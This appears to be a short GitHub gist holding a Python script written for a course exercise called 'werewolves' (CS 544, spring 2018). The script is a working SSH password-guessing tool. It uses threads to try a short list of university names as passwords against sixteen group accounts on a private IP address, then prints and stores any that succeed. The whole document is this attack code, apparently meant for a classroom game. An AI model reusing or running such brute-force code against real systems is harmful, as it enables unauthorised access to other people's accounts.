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April 9, 2018 03:40
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Code to try potential passwords for werewolves (CS 544 spring 2018). Soft of like a dictionary attack.
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| # this script is based on something I saw on stackoverflow | |
| # https://stackoverflow.com/questions/42704995/brute-force-script | |
| # author: Arjun Krishna Babu | |
| # This is a poorly written code for entirely private purposes. Please don't judge me. | |
| from pexpect import pxssh | |
| import sys | |
| import threading | |
| global_passwords = dict() # all passwords are stored here | |
| class AsyncCheck(threading.Thread): | |
| def __init__(self, group, attempt): | |
| threading.Thread.__init__(self) | |
| self.group = group | |
| self.attempt = attempt | |
| def run(self): | |
| try: | |
| if pxssh.pxssh().login('10.200.0.104', self.group, self.attempt): | |
| global_passwords[self.group] = self.attempt | |
| print(self.group, " password is:", self.attempt) | |
| else: | |
| #print(self.attempt, "failed for ", self.group) | |
| pass | |
| except: | |
| print(self.attempt, "did not work for ", self.group) | |
| pass | |
| def main(): | |
| # pxssh.pxssh().login('10.200.0.104', 'group12', 'MIT') | |
| print("starting brute force...") | |
| group_names = list() | |
| for i in range(16): | |
| group_names.append("group{}".format(i)) | |
| print(group_names) | |
| potentials = ["Harvard", "Columbia", "Yale", "Stanford", "MIT", "Cornell"] | |
| for potential in potentials: | |
| attempt = ''.join(potential) | |
| for group in group_names: | |
| try: | |
| if group not in global_passwords: | |
| AsyncCheck(group, attempt).start() | |
| except: | |
| pass | |
| if __name__ == '__main__': | |
| main() |
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